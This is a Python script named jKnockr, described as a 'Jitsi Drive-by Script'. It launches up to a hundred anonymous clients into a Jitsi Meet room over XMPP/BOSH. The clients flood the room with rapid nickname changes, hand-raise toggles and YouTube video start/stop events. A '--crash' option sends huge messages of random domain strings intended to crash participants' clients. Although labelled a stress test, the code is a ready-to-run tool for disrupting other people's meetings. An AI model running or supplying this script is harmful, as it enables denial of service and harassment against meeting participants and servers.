2024-10-13 01:40:09 +00:00
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#!/usr/bin/env python3
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# jKnockr (Jitsi Drive-by Script) - Developed by acidvegas in Python (https://git.acid.vegas/jknockr)
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import argparse
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import http.cookiejar
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import random
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2024-10-13 02:03:26 +00:00
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import re
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2024-10-13 01:40:09 +00:00
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import socket
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import string
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import threading
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import time
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import urllib.error
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import urllib.parse
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import urllib.request
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import xml.etree.ElementTree as ET
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2024-10-13 02:03:26 +00:00
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def client_join(client_id: int, tlds: list, args: argparse.Namespace, video_id: str) -> None:
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2024-10-13 03:02:22 +00:00
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'''Performs the client join process and handles messaging, hand raising, nickname changes, and video sharing.
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2024-10-13 02:03:26 +00:00
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2024-10-13 03:02:22 +00:00
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:param client_id: The ID of the client (thread number)
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:param tlds: List of TLDs to use for generating messages
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:param args: Parsed command-line arguments
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:param video_id: YouTube video ID to share
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'''
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try:
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print(f'Client {client_id}: Starting')
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cookie_jar = http.cookiejar.CookieJar()
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opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
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headers = {'Content-Type': 'text/xml; charset=utf-8'}
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rid = random.randint(1000000, 9999999)
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parsed_url = urllib.parse.urlparse(args.target)
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target_domain = parsed_url.hostname
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room_name = parsed_url.path.strip('/')
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if not room_name:
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print(f'Client {client_id}: No room name specified in the target URL.')
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return
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bosh_url = f'https://{target_domain}/http-bind'
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if args.nick:
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if isinstance(args.nick, str) and args.nick is not True:
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base_nick = args.nick
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random_length = 50 - len(base_nick) - 2
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if random_length < 0:
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print(f'Client {client_id}: Nickname is too long.')
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return
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nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length//2)) + '_' + base_nick + '_' + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length - random_length//2))
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else:
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nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50))
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else:
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nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
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print(f'Client {client_id}: Establishing session')
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body = f'''<body rid='{rid}' to='{target_domain}' xml:lang='en' wait='60' hold='1' xmlns='http://jabber.org/protocol/httpbind'/>'''
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request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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response_text = response.read().decode('utf-8')
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sid = extract_sid(response_text)
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if not sid:
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print(f'Client {client_id}: Failed to obtain session ID.')
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print(f'Client {client_id}: Server response: {response_text}')
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return
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print(f'Client {client_id}: Obtained session ID: {sid}')
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rid += 1
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print(f'Client {client_id}: Sending authentication request')
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auth_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
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<auth mechanism='ANONYMOUS' xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>
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</body>'''
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request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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response_text = response.read().decode('utf-8')
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if '<success' in response_text:
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print(f'Client {client_id}: Authentication successful.')
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else:
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print(f'Client {client_id}: Authentication failed.')
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print(f'Client {client_id}: Server response: {response_text}')
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return
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rid += 1
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print(f'Client {client_id}: Restarting stream')
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restart_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind' to='{target_domain}' xml:lang='en' xmpp:restart='true' xmlns:xmpp='urn:xmpp:xbosh'/>'''
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request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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rid += 1
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print(f'Client {client_id}: Binding resource')
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bind_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
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<iq type='set' id='bind_1' xmlns='jabber:client'>
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<bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/>
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</iq>
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</body>'''
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request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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response_text = response.read().decode('utf-8')
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jid = extract_jid(response_text)
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if not jid:
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print(f'Client {client_id}: Failed to bind resource.')
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print(f'Client {client_id}: Server response: {response_text}')
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return
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print(f'Client {client_id}: Bound resource. JID: {jid}')
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rid += 1
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print(f'Client {client_id}: Sending initial presence')
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presence_elements = [
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'<x xmlns=\'http://jabber.org/protocol/muc\'/>',
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f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>'
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]
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presence_stanza = ''.join(presence_elements)
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room_jid = f'{room_name}@conference.{target_domain}/{nickname}'
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presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
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<presence to='{room_jid}' xmlns='jabber:client'>
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{presence_stanza}
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</presence>
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</body>'''
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request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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response_text = response.read().decode('utf-8')
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print(f'Client {client_id}: Server response to initial presence (join room):')
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print(response_text)
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rid += 1
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hand_raised = True
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for i in range(1, 101):
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print(f'Client {client_id}: Starting iteration {i}')
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if args.nick:
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if isinstance(args.nick, str) and args.nick is not True:
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base_nick = args.nick
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random_length = 50 - len(base_nick) - 2
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if random_length < 0:
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print(f'Client {client_id}: Nickname is too long.')
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return
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nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=random_length//2)) + '_' + base_nick + '_' + ''.join(random.choices(string.ascii_letters + string.digits, k=random_length - random_length//2))
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else:
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nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50))
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presence_elements = []
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presence_elements.append(f'<nick xmlns=\'http://jabber.org/protocol/nick\'>{nickname}</nick>')
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if args.hand:
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timestamp = int(time.time() * 1000)
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if hand_raised:
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presence_elements.append(f'<jitsi_participant_raisedHand>{timestamp}</jitsi_participant_raisedHand>')
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hand_raised = not hand_raised
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if args.youtube and video_id:
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video_state = 'start' if i % 2 == 1 else 'stop'
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presence_elements.append(f'<shared-video from=\'{jid}\' state=\'{video_state}\' time=\'0\'>{video_id}</shared-video>')
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if args.nick or args.hand or args.youtube:
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presence_stanza = ''.join(presence_elements)
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room_jid = f'{room_name}@conference.{target_domain}/{nickname}'
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presence_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
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<presence to='{room_jid}' xmlns='jabber:client'>
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{presence_stanza}
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</presence>
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</body>'''
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request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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response_text = response.read().decode('utf-8')
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print(f'Client {client_id}: Server response to presence update:')
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print(response_text)
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rid += 1
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if args.crash or args.message:
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if args.crash:
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if not tlds:
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print(f'Client {client_id}: TLD list is empty. Using default TLDs.')
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tlds = ['com', 'net', 'org', 'info', 'io']
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2024-10-13 02:50:35 +00:00
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msg = ' '.join( f'{random_word(2)}@{random_word(2)}.{random.choice(tlds)}' if random.choice([True,False]) else f'{random_word(4)}.{random.choice(tlds)}' for _ in range(2500))
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2024-10-13 03:02:22 +00:00
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elif args.message:
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msg = args.message
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message_body = f'''<body rid='{rid}' sid='{sid}' xmlns='http://jabber.org/protocol/httpbind'>
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<message to='{room_name}@conference.{target_domain}' type='groupchat' xmlns='jabber:client'>
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<body>{msg}</body>
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</message>
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</body>'''
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request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST')
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response = opener.open(request, timeout=10)
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response_text = response.read().decode('utf-8')
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print(f'Client {client_id}: Server response to message {i}:')
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print(response_text)
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rid += 1
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print(f'Client {client_id}: Finished')
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except Exception as e:
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print(f'Client {client_id}: Exception occurred: {e}')
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2024-10-13 01:40:09 +00:00
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2024-10-13 02:03:26 +00:00
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def extract_jid(response_text: str) -> str:
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2024-10-13 03:02:22 +00:00
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'''Extracts the JID from the XML response.
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2024-10-13 02:03:26 +00:00
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2024-10-13 03:02:22 +00:00
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:param response_text: The XML response text from which to extract the JID
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'''
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try:
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root = ET.fromstring(response_text)
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for elem in root.iter():
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if 'jid' in elem.tag:
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return elem.text
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return None
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except ET.ParseError:
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return None
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2024-10-13 01:40:09 +00:00
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2024-10-13 02:03:26 +00:00
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def extract_sid(response_text: str) -> str:
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2024-10-13 03:02:22 +00:00
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'''Extracts the SID from the XML response.
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2024-10-13 02:03:26 +00:00
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2024-10-13 03:02:22 +00:00
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:param response_text: The XML response text from which to extract the SID
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'''
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try:
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root = ET.fromstring(response_text)
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return root.attrib.get('sid')
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except ET.ParseError:
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return None
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2024-10-13 01:40:09 +00:00
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2024-10-13 02:03:26 +00:00
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def force_ipv4() -> None:
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2024-10-13 03:02:22 +00:00
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'''Forces the use of IPv4 by monkey-patching socket.getaddrinfo.'''
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socket._original_getaddrinfo = socket.getaddrinfo
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def getaddrinfo_ipv4_only(host, port, family=0, type=0, proto=0, flags=0):
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return socket._original_getaddrinfo(host, port, socket.AF_INET, type, proto, flags)
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socket.getaddrinfo = getaddrinfo_ipv4_only
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2024-10-13 01:40:09 +00:00
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2024-10-13 02:03:26 +00:00
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def main() -> None:
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2024-10-13 03:02:22 +00:00
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'''Main function to start threads and execute the stress test.'''
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parser = argparse.ArgumentParser(description='Stress test a Jitsi Meet server.')
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parser.add_argument('target', help='Target room URL (e.g., https://meet.jit.si/roomname)')
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parser.add_argument('--crash', action='store_true', help='Enable crash (send large messages with random TLDs)')
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parser.add_argument('--message', type=str, help='Send a custom message')
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parser.add_argument('--hand', action='store_true', help='Enable hand raising')
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parser.add_argument('--nick', nargs='?', const=True, help='Enable nickname changes. Optionally provide a nickname')
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parser.add_argument('--youtube', type=str, help='Share a YouTube video (provide URL)')
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parser.add_argument('--threads', type=int, default=100, help='Number of threads (clients) to use')
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args = parser.parse_args()
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tlds = []
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if args.crash:
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print('Fetching TLDs')
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try:
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tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt'
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request = urllib.request.Request(tlds_url)
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with urllib.request.urlopen(request, timeout=10) as response:
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response_text = response.read().decode('utf-8')
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tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')]
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print(f'Number of TLDs fetched: {len(tlds)}')
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if not tlds:
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print('TLD list is empty after fetching. Using default TLDs.')
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tlds = ['com', 'net', 'org', 'info', 'io']
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except Exception as e:
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print(f'Failed to fetch TLDs: {e}')
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print('Using default TLDs.')
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tlds = ['com', 'net', 'org', 'info', 'io']
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video_id = None
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if args.youtube:
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youtube_url = args.youtube
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video_id_match = re.search(r'(?:v=|\/)([0-9A-Za-z_-]{11}).*', youtube_url)
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if video_id_match:
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video_id = video_id_match.group(1)
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print(f'Parsed YouTube video ID: {video_id}')
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else:
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print('Invalid YouTube URL provided.')
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return
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threads = []
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for i in range(args.threads):
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t = threading.Thread(target=client_join, args=(i, tlds, args, video_id))
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threads.append(t)
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t.start()
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for t in threads:
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t.join()
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2024-10-13 01:40:09 +00:00
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2024-10-13 02:03:26 +00:00
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def random_word(length: int) -> str:
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2024-10-13 03:02:22 +00:00
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'''Generates a random word of a given length.
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2024-10-13 02:03:26 +00:00
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2024-10-13 03:02:22 +00:00
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:param length: The length of the word to generate
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'''
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letters = string.ascii_lowercase
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return ''.join(random.choice(letters) for _ in range(length))
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2024-10-13 01:40:09 +00:00
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if __name__ == '__main__':
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2024-10-13 03:02:22 +00:00
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force_ipv4()
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main()
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